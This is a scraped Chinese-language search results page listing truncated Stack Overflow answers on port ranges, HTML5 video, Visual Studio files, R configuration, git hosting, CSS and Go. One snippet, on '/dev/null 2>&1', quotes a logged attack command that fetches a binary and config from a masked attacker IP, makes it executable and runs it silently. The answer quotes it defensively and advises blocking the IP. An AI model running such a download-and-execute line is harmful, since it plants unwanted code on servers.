大约有 28,000 项符合查询结果（耗时：0.0633秒） [XML]
What is the largest TCP/IP network port number allowable for IPv4?
...e divided into:
Well-known ports: 0 to 1023 (used for system services e.g. HTTP, FTP, SSH, DHCP ...)
Registered/user ports: 1024 to 49151 (you can use it for your server, but be careful some famous applications: like Microsoft SQL Server database management system (MSSQL) server or Apache Derby Netw...
HTML5 Video Dimensions
... video
vid.videoWidth; // returns the intrinsic width of the video
Spec: https://html.spec.whatwg.org/multipage/embedded-content.html#the-video-element
share
|
improve this answer
|
...
What is .sln.docstates file created by Visual Studio Productivity Power Tools?
...e next release of the
Power Tools we will hide this file by
default.
http://visualstudiogallery.msdn.microsoft.com/d0d33361-18e2-46c0-8ff2-4adea1e34fef/ (Q&A tab, "Is .sln.docstates file created by Productivity Power Tools?" discussion, post by Chris Dias)
So effectively it is a supplemen...
What is /dev/null 2>&1?
...mp;wget+-O+xm111+xxx.xxx.xxx.xxx/xm111;chmod+777+xm111;wget+-O+config.json+http:/… > /dev/null 2>&1 & HTTP/1.1 xxx.xxx.xxx.xxx is attacker's IP and it is also listed as abusive in many sites. First and foremost preventive step is block the IP in firewall as well ...
Populate XDocument from String
...c);
This was taken from the MSDN docs for XDocument.Load, found here...
http://msdn.microsoft.com/en-us/library/bb299692.aspx
share
|
improve this answer
|
follow
...
Expert R users, what's in your .Rprofile? [closed]
...ion("repos") # hard code the US repo for CRAN
r["CRAN"] <- "http://cran.us.r-project.org"
options(repos = r)
rm(r)
## put something this is your .Rprofile to customize the defaults
setHook(packageEvent("grDevices", "onLoad"),
function(...) grDevices::X11.options(width=8, heig...
Git Server Like GitHub? [closed]
...b interface to git that you can run on your own server, much like github:
http://getgitorious.com/
Update:
http://gitlab.org/ is another alternative now as well.
Update 2:
Gitorious has now joined with GitLab
share
...
Opacity of div's background without affecting contained element in IE 8?
...ich works the same way as the opacity value.
See this page for more info: http://css-tricks.com/rgba-browser-support/
The down-side, is that this doesn't work in IE8 or lower. The page I linked above also lists a few other browsers it doesn't work in, but they're all very old by now; all browsers ...
What is the difference between background and background-color
...a link to a resource here, but I recall reading this somewhere.
Ref : https://github.com/mdo/css-perf#background-vs-background-color
share
|
improve this answer
|
follow...
Is there a way to iterate over a slice in reverse in Go?
...o `last := len(s)-1` before the loop
}
Output:
1
2
3
4
5
Also here: http://play.golang.org/p/l7Z69TV7Vl
share
|
improve this answer
|
follow
|
...